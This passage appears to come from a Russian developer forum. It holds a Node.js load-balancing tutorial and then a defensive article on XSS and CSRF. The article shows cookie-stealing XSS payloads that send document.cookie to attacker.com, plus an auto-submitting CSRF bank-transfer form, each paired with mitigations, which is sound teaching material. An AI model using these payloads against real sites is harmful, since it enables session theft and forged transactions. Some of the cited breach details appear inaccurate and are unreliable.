        timestamp: new Date().toISOString()
      });
    });
    
    app.listen(PORT, () => {
      console.log(`Server running on port ${PORT}`);
    });
    

    Запустите три копии с разными портами:

    # Терминал 1
    PORT=3000 node server.js
    
    # Терминал 2
    PORT=3001 node server.js
    
    # Терминал 3
    PORT=3002 node server.js
    

    Шаг 2: Настройте Nginx

    Отредактируйте /etc/nginx/nginx.conf или создайте файл в /etc/nginx/sites-available/myapp:

    # Определяем группу upstream-серверов
    upstream nodejs_servers {
      # Round Robin по умолчанию
      server localhost:3000;
      server localhost:3001;
      server localhost:3002;
    }
    
    # HTTP сервер (балансировщик)
    server {
      listen 80;
      server_name localhost;
    
      # Все запросы проксируем на upstream группу
      location / {
        proxy_pass http://nodejs_servers;
        
        # Важные заголовки для проксирования
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
      }
    }
    

    Шаг 3: Проверьте конфигурацию и перезагрузите Nginx

    # Проверка синтаксиса
    sudo nginx -t
    
    # Если всё OK:
    sudo systemctl reload nginx
    

    Шаг 4: Тестируйте

    Откройте браузер и несколько раз зайдите на http://localhost/. Обратите внимание на поле port в ответе — оно меняется между 3000, 3001 и 3002, подтверждая работу балансировки.

    Продвинутые параметры Nginx

    Least Connections вместо Round Robin:

    upstream nodejs_servers {
      least_conn;  # Используем алгоритм least connections
      server localhost:3000;
      server localhost:3001;
      server localhost:3002;
    }
    

    IP Hash для sticky sessions:

    upstream nodejs_servers {
      ip_hash;  # Один IP — один сервер
      server localhost:3000;
      server localhost:3001;
      server localhost:3002;
    }
    

    Взвешенное распределение (если серверы разной мощности):

    upstream nodejs_servers {
      server localhost:3000 weight=3;  # Получает в 3 раза больше запросов
      server localhost:3001 weight=1;
      server localhost:3002 weight=1;
    }
    

    Health checks (только в Nginx Plus, но полезно знать):

    upstream nodejs_servers {
      server localhost:3000;
      server localhost:3001;
      server localhost:3002;
      
      # Проверка здоровья: если сервер не ответит за 3 сек — исключить
      check interval=3000 rise=2 fall=5 timeout=1000 type=http;
      check_http_send "GET / HTTP/1.0\r\n\r\n";
      check_http_expect_alive http_2xx;
    }
    

    Часть 4: Решение 2 — Собственный Балансировщик на Node.js

    Если вам нужна большая гибкость, можно написать балансировщик на самом Node.js используя Express и http-proxy-middleware.

    Как это работает

    Интернет
      ↓
    Node.js Балансировщик (порт 8080)
      ↓ (проксирует запросы)
    ┌─────────────────┬─────────────────┬─────────────────┐
    │ Node App        │ Node App        │ Node App        │
    │ (порт 3000)     │ (порт 3001)     │ (порт 3002)     │
    └─────────────────┴─────────────────┴─────────────────┘
    

    Пример 1: Простой балансировщик с Round Robin

    Установите зависимости:

    npm install express axios
    

    Создайте файл load-balancer.js:

    const express = require('express');
    const axios = require('axios');
    
    const app = express();
    
    // Список backend серверов
    const servers = [
      'http://localhost:3000',
      'http://localhost:3001',
      'http://localhost:3002'
    ];
    
    // Счетчик для round-robin
    let currentServer = 0;
    
    // Обработчик всех запросов
    app.use(async (req, res) => {
      try {
        // Выбираем сервер по очереди (round-robin)
        const server = servers[currentServer];
        currentServer = (currentServer + 1) % servers.length;
    
        // Формируем URL для backend сервера
        const backendUrl = `${server}${req.originalUrl}`;
    
        // Делаем запрос к backend серверу
        const response = await axios({
          method: req.method,
          url: backendUrl,
          data: req.body,
          headers: {
            ...req.headers,
            'X-Forwarded-For': req.ip,
            'X-Real-IP': req.ip,
          }
        });
    
        // Возвращаем ответ клиенту
        res.status(response.status).send(response.data);
      } catch (error) {
        console.error('Error proxying request:', error.message);
        res.status(503).json({ error: 'Service unavailable' });
      }
    });
    
    app.listen(8080, () => {
      console.log('Load balancer running on port 8080');
    });
    

    Запустите:

    node load-balancer.js
    

    Теперь обращайтесь к http://localhost:8080 вместо отдельных серверов.

    Пример 2: Балансировщик с Least Connections

    const express = require('express');
    const axios = require('axios');
    
    const app = express();
    
    // Backend серверы с отслеживанием соединений
    const servers = [
      { url: 'http://localhost:3000', activeConnections: 0 },
      { url: 'http://localhost:3001', activeConnections: 0 },
      { url: 'http://localhost:3002', activeConnections: 0 }
    ];
    
    // Выбираем сервер с наименьшим количеством активных соединений
    function selectServer() {
      return servers.reduce((prev, current) => 
        prev.activeConnections < current.activeConnections ? prev : current
      );
    }
    
    app.use(async (req, res) => {
      const selectedServer = selectServer();
      selectedServer.activeConnections++;
    
      try {
        const backendUrl = `${selectedServer.url}${req.originalUrl}`;
    
        const response = await axios({
          method: req.method,
          url: backendUrl,
          data: req.body,
          headers: {
            ...req.headers,
            'X-Forwarded-For': req.ip,
          }
        });
    
        res.status(response.status).send(response.data);
      } catch (error) {
        console.error('Error proxying request:', error.message);
        res.status(503).json({ error: 'Service unavailable' });
      } finally {
        // Уменьшаем счетчик соединений
        selectedServer.activeConnections--;
      }
    });
    
    app.listen(8080, () => {
      console.log('Load balancer (least connections) running on port 8080');
    });
    

    Пример 3: Балансировщик с Sticky Sessions

    Когда нужно, чтобы один пользователь всегда ходил на один сервер:

    const express = require('express');
    const axios = require('axios');
    const crypto = require('crypto');
    
    const app = express();
    
    const servers = [
      'http://localhost:3000',
      'http://localhost:3001',
      'http://localhost:3002'
    ];
    
    // Хранилище сессий: IP адрес -> индекс сервера
    const sessions = new Map();
    
    function selectServer(clientIP) {
      if (sessions.has(clientIP)) {
        // Клиент уже был ранее
        return sessions.get(clientIP);
      } else {
        // Новый клиент — распределяем по IP hash
        const hash = crypto
          .createHash('md5')
          .update(clientIP)
          .digest('hex');
        const serverIndex = parseInt(hash, 16) % servers.length;
        sessions.set(clientIP, serverIndex);
        return serverIndex;
      }
    }
    
    app.use(async (req, res) => {
      const clientIP = req.ip;
      const serverIndex = selectServer(clientIP);
      const selectedServer = servers[serverIndex];
    
      try {
        const backendUrl = `${selectedServer}${req.originalUrl}`;
    
        const response = await axios({
          method: req.method,
          url: backendUrl,
          data: req.body,
          headers: {
            ...req.headers,
            'X-Forwarded-For': clientIP,
          }
        });
    
        res.status(response.status).send(response.data);
      } catch (error) {
        console.error('Error proxying request:', error.message);
        res.status(503).json({ error: 'Service unavailable' });
      }
    });
    
    app.listen(8080, () => {
      console.log('Load balancer (sticky sessions) running on port 8080');
    });
    

    Часть 5: Решение 3 — PM2 для Управления Кластером

    PM2 — это процесс-менеджер для Node.js, который встроил управление кластером и балансировкой нагрузки.

    Как это работает

    PM2 автоматически создает несколько копий вашего приложения (воркеры) и распределяет между ними запросы используя встроенный балансировщик.

    Практический пример

    Установите PM2:

    npm install -g pm2
    

    Создайте конфиг файл ecosystem.config.js:

    module.exports = {
      apps: [
        {
          name: 'nodejs-app',           // Имя приложения
          script: './server.js',         // Файл приложения
          instances: 4,                   // Количество копий (или 'max' для всех CPU ядер)
          exec_mode: 'cluster',          // Режим кластера
          watch: false,                   // Перезагружать при изменении файлов (false для production)
          max_memory_restart: '500M',     // Перезагружать если память > 500MB
          env: {
            NODE_ENV: 'development'
          },
          env_production: {
            NODE_ENV: 'production'
          },
          // Graceful shutdown timeout
          listen_timeout: 3000,
          // Автоматический перезапуск упавшего процесса
          autorestart: true,
          // Минимальное время жизни процесса перед перезапуском
          min_uptime: '10s',
          // Максимальное количество перезапусков за час
          max_restarts: 10
        }
      ]
    };
    

    Запустите приложение:

    pm2 start ecosystem.config.js
    

    Полезные команды:

    # Просмотр статуса всех процессов
    pm2 status
    
    # Просмотр логов
    pm2 logs nodejs-app
    
    # Перезагрузка с нулевым downtime
    pm2 reload ecosystem.config.js
    
    # Остановка
    pm2 stop ecosystem.config.js
    
    # Удаление
    pm2 delete ecosystem.config.js
    
    # Автозагрузка при перезагрузке сервера
    pm2 startup
    pm2 save
    

    Как PM2 распределяет запросы?

    PM2 использует алгоритм Round Robin по умолчанию. Главный процесс (master) принимает входящие соединения и передает их воркерам по очереди:

    Входящий запрос
      ↓
    Master процесс PM2
      ↓
    Воркер 1, затем Воркер 2, затем Воркер 3, затем Воркер 4, затем снова Воркер 1...
    

    Отличие PM2 от Nginx

    • PM2: Управляет несколькими копиями одного приложения на одной машине
    • Nginx: Распределяет нагрузку между разными машинами (или портами)

    Часто используют вместе: Nginx распределяет между машинами, PM2 на каждой машине управляет кластером.


    Часть 6: Обработка Сессий при Горизонтальном Масштабировании

    Проблема

    Когда у вас есть несколько копий приложения, встает вопрос: где хранить данные сессии пользователя?

    Пользователь логинится на Сервер 1 → сессия сохраняется на Сервер 1
    Пользователь (через балансировщик) попадает на Сервер 2 → где найти сессию?
    

    Решение 1: Sticky Sessions (IP Hash)

    Используем IP Hash балансировщика, чтобы один пользователь всегда был на одном сервере:

    Nginx:

    upstream nodejs_servers {
      ip_hash;
      server localhost:3000;
      server localhost:3001;
      server localhost:3002;
    }
    

    Минусы: Неравномерная нагрузка, если один сервер упадет — пользователь потеряет сессию.

    Решение 2: Централизованное Хранилище (Рекомендуется)

    Храните сессии в отдельной БД или кэше (Redis), доступной всем серверам.

    Пример с Redis:

    const express = require('express');
    const session = require('express-session');
    const RedisStore = require('connect-redis').default;
    const redis = require('redis');
    
    const app = express();
    
    // Создаем Redis клиент
    const redisClient = redis.createClient({
      host: 'localhost',
      port: 6379
    });
    
    redisClient.connect();
    
    // Настраиваем сессии с хранилищем в Redis
    app.use(session({
      store: new RedisStore({ client: redisClient }),
      secret: 'your-secret-key',
      resave: false,
      saveUninitialized: false,
      cookie: {
        secure: false,  // true для HTTPS
        httpOnly: true,
        maxAge: 24 * 60 * 60 * 1000  // 24 часа
      }
    }));
    
    app.get('/login', (req, res) => {
      req.session.userId = 123;
      req.session.username = 'john';
      res.json({ message: 'Logged in', session: req.session });
    });
    
    app.get('/profile', (req, res) => {
      if (req.session.userId) {
        res.json({ 
          message: 'Welcome back', 
          username: req.session.username 
        });
      } else {
        res.status(401).json({ error: 'Not logged in' });
      }
    });
    
    app.listen(3000, () => {
      console.log('Server with Redis sessions on port 3000');
    });
    

    Установите зависимости:

    npm install express-session redis connect-redis
    

    Преимущества:

    • Один пользователь может обращаться к разным серверам
    • Если сервер упадет, сессия не потеряется
    • Масштабируется на множество машин

    Минусы:

    • Нужно поддерживать отдельное хранилище (Redis, PostgreSQL)
    • Небольшое замедление из-за обращения к БД/кэшу

    Решение 3: Stateless приложение (Токены)

    Вообще не хранить сессии на сервере. Используйте JWT токены:

    const express = require('express');
    const jwt = require('jsonwebtoken');
    
    const app = express();
    const SECRET = 'your-secret-key';
    
    app.get('/login', (req, res) => {
      const token = jwt.sign(
        { userId: 123, username: 'john' },
        SECRET,
        { expiresIn: '24h' }
      );
      res.json({ token });
    });
    
    app.get('/profile', (req, res) => {
      const token = req.headers.authorization?.replace('Bearer ', '');
      
      try {
        const decoded = jwt.verify(token, SECRET);
        res.json({ message: 'Welcome', user: decoded });
      } catch (error) {
        res.status(401).json({ error: 'Invalid token' });
      }
    });
    
    app.listen(3000);
    

    Преимущества:

    • Совсем не нужно хранить состояние на сервере
    • Легко масштабируется на любое количество машин
    • Работает отлично для микросервисов

    Минусы:

    • Клиент должен отправлять токен в каждом запросе
    • Токен нельзя аннулировать до истечения (или нужен отдельный список отозванных)

    Часть 7: Health Checks (Проверки Здоровья Серверов)

    Балансировщик должен знать, какие серверы работают, а какие упали.

    Health Check в Nginx

    upstream nodejs_servers {
      server localhost:3000;
      server localhost:3001;
      server localhost:3002;
      
      # Проверка: отправить GET запрос на /health
      # Если не ответит за 1 сек или вернет ошибку — сервер мертв
    }
    
    server {
      listen 80;
    
      location / {
        proxy_pass http://nodejs_servers;
        
        # Таймауты
        proxy_connect_timeout 3s;
        proxy_send_timeout 5s;
        proxy_read_timeout 5s;
      }
      
      # Endpint здоровья (для балансировщика проверить)
      location /health {
        proxy_pass http://nodejs_servers;
      }
    }
    

    Endpoint здоровья в приложении

    const express = require('express');
    const app = express();
    
    // Endpoint для проверок здоровья
    app.get('/health', (req, res) => {
      // Проверяем, что БД доступна, нет критических ошибок и т.д.
      const healthcheck = {
        uptime: process.uptime(),
        timestamp: Date.now(),
        status: 'OK'
      };
      
      res.status(200).json(healthcheck);
    });
    
    // Используйте этот endpoint в тестах
    app.listen(3000);
    

    Health Check в PM2

    PM2 встроенно мониторит состояние процессов и перезагружает упавшие.

    Используйте параметры в ecosystem.config.js:

    module.exports = {
      apps: [{
        name: 'app',
        script: './server.js',
        instances: 4,
        exec_mode: 'cluster',
        watch: false,
        max_memory_restart: '500M',
        autorestart: true,
        min_uptime: '10s',
        max_restarts: 10,
        listen_timeout: 3000  // Даем 3 сек на инициализацию
      }]
    };
    

    Часть 8: Полный Пример — Реальная Setup

    Объединим всё вместе: Nginx балансировщик + несколько Node.js серверов + PM2 кластер.

    Архитектура

    Интернет (пользователи)
      ↓
    Nginx (порт 80) на машине 1
      ↓
    ┌────────────────────────────────────────────────┐
    │ Машина 2: PM2 кластер (4 воркера)             │
    │ ├─ Воркер 1 (порт 3000)                       │
    │ ├─ Воркер 2 (порт 3001)                       │
    │ ├─ Воркер 3 (порт 3002)                       │
    │ └─ Воркер 4 (порт 3003)                       │
    └────────────────────────────────────────────────┘
      ↓
    ┌────────────────────────────────────────────────┐
    │ Машина 3: PM2 кластер (4 воркера)             │
    │ ├─ Воркер 1 (порт 3000)                       │
    │ ├─ Воркер 2 (порт 3001)                       │
    │ ├─ Воркер 3 (порт 3002)                       │
    │ └─ Воркер 4 (порт 3003)                       │
    └────────────────────────────────────────────────┘
      ↓
    Централизованное хранилище сессий (Redis / PostgreSQL)
    

    Шаг 1: Приложение Node.js

    server.js:

    const express = require('express');
    const session = require('express-session');
    const redis = require('redis');
    const RedisStore = require('connect-redis').default;
    
    const app = express();
    const PORT = process.env.PORT || 3000;
    
    // Redis для сессий
    const redisClient = redis.createClient({
      host: 'redis.example.com',  // Централизованный Redis
      port: 6379
    });
    redisClient.connect();
    
    // Session middleware
    app.use(session({
      store: new RedisStore({ client: redisClient }),
      secret: 'production-secret-key',
      resave: false,
      saveUninitialized: false,
      cookie: {
        secure: true,
        httpOnly: true,
        maxAge: 24 * 60 * 60 * 1000
      }
    }));
    
    // Health check
    app.get('/health', (req, res) => {
      res.json({
        status: 'OK',
        uptime: process.uptime(),
        port: PORT,
        pid: process.pid
      });
    });
    
    // API endpoint
    app.get('/api/data', (req, res) => {
      req.session.lastAccess = new Date();
      res.json({
        data: 'Hello from Node.js',
        port: PORT,
        sessionId: req.sessionID,
        sessionData: req.session
      });
    });
    
    // Graceful shutdown
    process.on('SIGTERM', () => {
      console.log('SIGTERM received, shutting down gracefully...');
      // PM2 даст нам 3 сек (listen_timeout) на завершение
      redisClient.quit();
      process.exit(0);
    });
    
    app.listen(PORT, () => {
      console.log(`Server running on port ${PORT}, PID: ${process.pid}`);
    });
    

    Шаг 2: PM2 конфиг на каждой машине

    ecosystem.config.js (на машине 2 и машине 3):

    module.exports = {
      apps: [
        {
          name: 'nodejs-app',
          script: './server.js',
          instances: 4,
          exec_mode: 'cluster',
          env: {
            NODE_ENV: 'production',
            PORT: 3000
          },
          watch: false,
          max_memory_restart: '500M',
          autorestart: true,
          min_uptime: '10s',
          max_restarts: 10,
          listen_timeout: 3000,
          error_file: './logs/err.log',
          out_file: './logs/out.log',
          log_date_format: 'YYYY-MM-DD HH:mm:ss Z'
        }
      ]
    };
    

    Запустите:

    pm2 start ecosystem.config.js
    pm2 startup
    pm2 save
    

    Шаг 3: Nginx конфиг

    На машине 1, файл /etc/nginx/sites-available/nodeapp:

    upstream nodejs_servers {
      least_conn;  # Используем least connections для равномерной нагрузки
      
      # Серверы на машине 2
      server 192.168.1.10:3000;
      server 192.168.1.10:3001;
      server 192.168.1.10:3002;
      server 192.168.1.10:3003;
      
      # Серверы на машине 3
      server 192.168.1.11:3000;
      server 192.168.1.11:3001;
      server 192.168.1.11:3002;
      server 192.168.1.11:3003;
    }
    
    server {
      listen 80;
      server_name api.example.com;
    
      # Логи
      access_log /var/log/nginx/nodejs_access.log;
      error_log /var/log/nginx/nodejs_error.log;
    
      location / {
        proxy_pass http://nodejs_servers;
        
        # Заголовки
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        
        # Таймауты
        proxy_connect_timeout 3s;
        proxy_send_timeout 5s;
        proxy_read_timeout 5s;
        
        # Буферизация
        proxy_buffering on;
        proxy_buffer_size 4k;
        proxy_buffers 8 4k;
      }
    
      # Health check endpoint
      location /health {
        proxy_pass http://nodejs_servers;
        access_log off;
      }
    
      # SSL (если нужно)
      # listen 443 ssl http2;
      # ssl_certificate /etc/ssl/certs/cert.pem;
      # ssl_certificate_key /etc/ssl/private/key.pem;
    }
    
    # Перенаправление HTTP на HTTPS
    server {
      listen 80;
      server_name api.example.com;
      return 301 https://$server_name$request_uri;
    }
    

    Включите конфиг:

    sudo ln -s /etc/nginx/sites-available/nodeapp /etc/nginx/sites-enabled/
    sudo nginx -t
    sudo systemctl reload nginx
    

    Шаг 4: Мониторинг

    Проверяем статус:

    # На машинах 2 и 3
    pm2 status
    pm2 logs nodejs-app
    
    # На машине 1 (Nginx)
    sudo systemctl status nginx
    sudo tail -f /var/log/nginx/nodejs_access.log
    

    Тестируем:

    # На локальной машине
    for i in {1..10}; do curl http://api.example.com/api/data; echo ""; done
    

    Видите меняющиеся значения port и pid — балансировка работает!


    Часть 9: Распространённые Проблемы и Решения

    Проблема 1: Sticky Sessions не работают

    Симптом: Пользователь теряет данные между запросами.

    Причина: Используются разные серверы для одного пользователя.

    Решение:

    • Либо используйте IP Hash в балансировщике
    • Либо сохраняйте сессию в Redis/БД (рекомендуется)

    Проблема 2: Высокая задержка при проксировании

    Симптом: Приложение через балансировщик работает медленнее.

    Причина: Сетевые задержки, неправильная буферизация.

    Решение:

    # Optimize buffering
    proxy_buffering on;
    proxy_buffer_size 4k;
    proxy_buffers 8 4k;
    proxy_busy_buffers_size 8k;
    
    # TCP optimization
    proxy_tcp_nodelay on;
    proxy_tcp_nopush on;
    

    Проблема 3: Соединение разрывается при reload сервера

    Симптом: Клиенты получают ошибку при перезагрузке.

    Причина: Сервер не обрабатывает graceful shutdown.

    Решение: Добавьте обработку SIGTERM:

    process.on('SIGTERM', () => {
      server.close(() => {
        console.log('Server shut down gracefully');
        process.exit(0);
      });
    });
    

    Проблема 4: Памятью утекает на одном сервере

    Симптом: Один воркер занимает всё больше памяти.

    Причина: Memory leak в коде.

    Решение: Настройте автоматический перезапуск:

    max_memory_restart: '500M'  // PM2 перезагрузит если превышено 500MB
    

    Проблема 5: WebSocket не работает через балансировщик

    Симптом: WebSocket соединение разрывается.

    Причина: Нужен sticky session для WebSocket.

    Решение:

    upstream nodejs_servers {
      ip_hash;  # Обязательно для WebSocket!
      server localhost:3000;
      server localhost:3001;
    }
    
    location / {
      proxy_pass http://nodejs_servers;
      proxy_http_version 1.1;
      proxy_set_header Upgrade $http_upgrade;
      proxy_set_header Connection "upgrade";
    }
    

    Часть 10: Best Practices и Оптимизация

    1. Количество воркеров

    // Оптимально: количество CPU ядер на машине
    const numCPUs = require('os').cpus().length;
    
    // PM2:
    instances: numCPUs  // или 'max' в ecosystem.config.js
    

    2. Graceful Shutdown

    const server = app.listen(PORT, () => {
      console.log(`Server on ${PORT}`);
    });
    
    process.on('SIGTERM', () => {
      console.log('SIGTERM received');
      
      server.close(() => {
        console.log('HTTP server closed');
        process.exit(0);
      });
      
      // Если не закрылось за 10 сек — просто выходим
      setTimeout(() => {
        console.error('Could not close connections, forcing shutdown');
        process.exit(1);
      }, 10000);
    });
    

    3. Логирование и Мониторинг

    const morgan = require('morgan');
    const app = express();
    
    // Логируем все запросы
    app.use(morgan('combined'));
    
    // Логируем неперехваченные ошибки
    process.on('uncaughtException', (error) => {
      console.error('Uncaught Exception:', error);
      process.exit(1);
    });
    
    process.on('unhandledRejection', (reason, promise) => {
      console.error('Unhandled Rejection at:', promise, 'reason:', reason);
      process.exit(1);
    });
    

    4. Rate Limiting

    const rateLimit = require('express-rate-limit');
    
    const limiter = rateLimit({
      windowMs: 15 * 60 * 1000,  // 15 минут
      max: 100  // Максимум 100 запросов за окно
    });
    
    app.use('/api', limiter);
    

    5. Кэширование ответов

    upstream nodejs_servers {
      server localhost:3000;
      server localhost:3001;
    }
    
    proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=my_cache:10m;
    
    server {
      location /api/public {
        proxy_pass http://nodejs_servers;
        proxy_cache my_cache;
        proxy_cache_valid 200 10m;  // Кэшировать на 10 минут
      }
    }
    

    Итоги

    Что мы изучили:

    1. Зачем нужен балансировщик нагрузки — распределение запросов, высокая доступность, масштабируемость
    2. Алгоритмы — Round Robin, Least Connections, IP Hash
    3. Nginx — надежный, быстрый, конфигурируется просто
    4. Node.js Балансировщик — гибкий, если нужна кастомная логика
    5. PM2 — управление кластером на одной машине с нулевым downtime
    6. Сессии — Redis/БД для масштабирования, либо JWT токены
    7. Health Checks — автоматическое исключение мертвых серверов
    8. Полная архитектура — Nginx + PM2 кластеры на нескольких машинах

    Рекомендуемый стек для production:

    Интернет
      ↓
    Nginx (балансировщик на порт 80/443)
      ↓
    Несколько машин (2+) с PM2 кластером (4+ воркера на машину)
      ↓
    Централизованное хранилище сессий (Redis)
      ↓
    База данных
    

    Главное правило: Ваше приложение должно быть stateless — не хранить пользовательские данные локально. Тогда балансировка будет работать идеально.

    Начните с Nginx + 2 простых серверов, потом добавляйте PM2 кластеры по мере роста нагрузки.


    1 0 1 Ответить
  • AladdinA
    Aladdin
    XSS, CSRF и другие web-уязвимости — как они работают и как защищаться

    Вы когда-нибудь задумывались, почему заполненная форма на сайте передаёт данные без проверки? Или почему браузер может выполнить любой JavaScript, вставленный в страницу? Именно эти упущения становятся открытыми дверями для киберпреступников.

    Веб-приложения — это огромная мишень. Банки, магазины, форумы — все они хранят чувствительные данные. И если защита слабая, злоумышленник может украсть пароли, перевести деньги, изменить пароли, подделать запросы и причинить ещё много неприятностей.

    Эта статья разберёт основные уязвимости, покажет, как они работают на практике, и — самое главное — как их предотвратить. Без лишней воды, только факты и примеры.


    1. XSS (Cross-Site Scripting) — межсайтовый скриптинг

    Что это такое

    XSS — это уязвимость, которая позволяет злоумышленнику внедрить вредоносный JavaScript-код в страницу, которую будут смотреть другие пользователи. Когда браузер загружает эту страницу, скрипт выполняется и может:

    • Украсть cookies пользователя
    • Перехватить данные с формы
    • Перенаправить пользователя на фальшивый сайт
    • Модифицировать содержимое страницы
    • Выполнить любое действие от имени пользователя

    Почему это работает

    Браузер доверяет серверу. Если сервер вернул HTML со скриптом, браузер выполнит этот скрипт, не задавая вопросов. Проблема возникает, когда на странице оказывается код, который сервер получил от пользователя.

    Три типа XSS

    1.1 Stored XSS (Постоянная XSS)

    Вредоносный код сохраняется на сервере и выполняется у всех пользователей, которые посещают страницу.

    Пример атаки:

    Представим форум, где можно писать комментарии. Форма принимает текст и сохраняет его в БД без проверки:

    // Вредоносный комментарий
    <img src=x onerror="fetch('https://attacker.com/steal.php?cookie=' + document.cookie)">
    

    Когда другой пользователь откроет страницу с этим комментарием, браузер попытается загрузить несуществующее изображение, а обработчик ошибки onerror отправит его cookies на сервер атакующего.

    Реальный пример: Magecart + Newegg (2015). Хакеры внедрили вредоносный JavaScript на страницу оформления заказа в интернет-магазине. Скрипт кал данные всех покупателей и отправлял их на сервер злоумышленника. Украдено более 7 миллионов карт.

    Защита:

    // ❌ УЯЗВИМО
    $comment = $_POST['comment'];
    $query = "INSERT INTO comments (text) VALUES ('$comment')";
    
    // ✅ ПРАВИЛЬНО
    $comment = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8');
    $query = "INSERT INTO comments (text) VALUES (?)";
    $stmt = $conn->prepare($query);
    $stmt->bind_param("s", $comment);
    $stmt->execute();
    

    Функция htmlspecialchars() преобразует опасные символы:

    • < → &lt;
    • > → &gt;
    • " → &quot;
    • ' → &#039;

    Теперь браузер воспримет это как текст, а не как HTML.

    1.2 Reflected XSS (Отраженная XSS)

    Вредоносный код не сохраняется, а передаётся в URL. Сервер отражает его обратно в ответе, и браузер выполняет скрипт.

    Пример атаки:

    Поисковик сайта выглядит так:

    <!-- Поле поиска -->
    <input type="text" name="q">
    
    <!-- Результаты поиска -->
    <?php
        $search = $_GET['q'];
        echo "Вы искали: " . $search;
    ?>
    

    Злоумышленник создаёт ссылку:

    https://example.com/search.php?q=<script>alert('Hacked!')</script>
    

    Когда жертва нажимает эту ссылку, сервер возвращает страницу с внедрённым скриптом:

    Вы искали: <script>alert('Hacked!')</script>
    

    Браузер выполняет скрипт. Вместо alert() в реальной атаке это будет кража cookies:

    https://example.com/search.php?q=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
    

    Реальный пример: British Airways (2018). Фишинговая ссылка со встроенным XSS-скриптом заставляла пользователей вводить данные своих кредитных карт на поддельной форме. Украдено 380 тысяч записей о платёжах.

    Защита:

    // ❌ УЯЗВИМО
    $search = $_GET['q'];
    echo "Вы искали: " . $search;
    
    // ✅ ПРАВИЛЬНО
    $search = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
    echo "Вы искали: " . $search;
    

    Дополнительный уровень: Используйте CSP (Content Security Policy) заголовок:

    Content-Security-Policy: script-src 'self'
    

    Этот заголовок говорит браузеру: “Выполняй скрипты только с одного домена (моего)”. Внедрённые скрипты блокируются автоматически.

    1.3 DOM-Based XSS

    Вредоносный код работает в браузере, не обращаясь к серверу. Проблема в том, что JavaScript использует небезопасные методы для работы с DOM.

    Пример атаки:

    <!-- HTML -->
    <div id="output"></div>
    
    <!-- JavaScript -->
    <script>
        var query = new URLSearchParams(window.location.search).get('search');
        document.getElementById('output').innerHTML = query;
    </script>
    

    Если открыть https://example.com/?search=<img src=x onerror="alert('XSS')">, в переменную query попадёт строка с тегом, и innerHTML добавит его в DOM как HTML, а не как текст.

    Защита:

    // ❌ УЯЗВИМО - добавляет HTML
    document.getElementById('output').innerHTML = query;
    
    // ✅ ПРАВИЛЬНО - добавляет как текст
    document.getElementById('output').textContent = query;
    
    // ✅ АЛЬТЕРНАТИВА - явное экранирование
    function escapeHtml(text) {
        const map = {
            '&': '&amp;',
            '<': '&lt;',
            '>': '&gt;',
            '"': '&quot;',
            "'": '&#039;'
        };
        return text.replace(/[&<>"']/g, m => map[m]);
    }
    document.getElementById('output').innerHTML = escapeHtml(query);
    

    Как защищаться от XSS

    На стороне сервера:

    1. Валидация входных данных — убедитесь, что получили именно то, чего ожидали
    2. Экранирование на выходе — преобразуйте опасные символы перед вывод в HTML
    3. Используйте ORM/параметризованные запросы — передавайте данные отдельно от кода

    На стороне клиента:

    1. CSP заголовок — ограничивает источники скриптов
    2. Используйте textContent вместо innerHTML — добавляет текст, а не HTML
    3. Библиотеки — используйте шаблонизаторы вроде Handlebars, которые автоматически экранируют данные

    Пример на Node.js/Express:

    const express = require('express');
    const helmet = require('helmet');
    const app = express();
    
    // Добавляем CSP заголовок
    app.use(helmet.contentSecurityPolicy({
        directives: {
            scriptSrc: ["'self'"]
        }
    }));
    
    app.get('/comment', (req, res) => {
        const comment = req.query.text;
        // Экранируем перед выводом
        const safe = comment
            .replace(/&/g, '&amp;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/"/g, '&quot;')
            .replace(/'/g, '&#039;');
        
        res.send(`<p>${safe}</p>`);
    });
    

    2. CSRF (Cross-Site Request Forgery) — подделка межсайтовых запросов

    Что это такое

    CSRF — это атака, при которой злоумышленник заставляет пользователя выполнить нежелательное действие на сайте, на котором тот авторизован, не зная пароля и не касаясь учётных данных.

    Почему это опасно

    Браузер автоматически отправляет cookies при каждом запросе к сайту. Если пользователь авторизован на банке и одновременно открыл страницу злоумышленника, браузер отправит cookies банка с запросом от мошенника.

    Как это работает

    Сценарий атаки:

    1. Вы заходите в свой банк и авторизуетесь
    2. Вы открываете новую вкладку и посещаете evil.com
    3. На evil.com есть скрытая форма:
    <form action="https://bank.com/transfer" method="POST" style="display:none;">
        <input name="to" value="attacker">
        <input name="amount" value="1000">
    </form>
    <script>
        document.forms[0].submit(); // Автоматически отправляет форму
    </script>
    
    1. Браузер отправляет POST-запрос на bank.com, автоматически приложив ваши cookies
    2. Банк проверяет cookies, видит, что вы авторизованы, и выполняет перевод
    3. 1000 рублей переводятся на счёт атакующего

    Банк не знает, что это вы не отправили запрос. Для него это выглядит как легитимный запрос от авторизованного пользователя.

    Реальный пример: Уязвимость в почте Gmail позволяла отправлять письма от имени пользователя, если тот открыл специальную ссылку. Twitter, YouTube и многие другие сервисы пережили подобные атаки.

    Условия для успешной CSRF-атаки

    1. Действие должно измен состояние — банковский перевод, смена пароля, удаление аккаунта
    2. Параметры известны атакующему — номер счёта, сумма, и т.д.
    3. Аутентификация основана только на cookies — нет дополнительных проверок

    Защита от CSRF

    2.1 CSRF-токены

    Сервер генерирует уникальный токен для каждой формы. При отправке формы клиент должен передать этот токен. Сервер проверяет совпадение.

    Злоумышленник не может получить токен, потому что он не может читать ответ с другого домена (работает Same Origin Policy).

    Пример на PHP:

    // На странице с формой
    session_start();
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); // Генерируем токен
    }
    ?>
    
    <form action="transfer.php" method="POST">
        <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">
        <input type="text" name="to" placeholder="Кому">
        <input type="number" name="amount" placeholder="Сумма">
        <button type="submit">Отправить</button>
    </form>
    
    <?php
    // На странице обработки (transfer.php)
    session_start();
    
    if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'] ?? '')) {
        die('CSRF token invalid');
    }
    
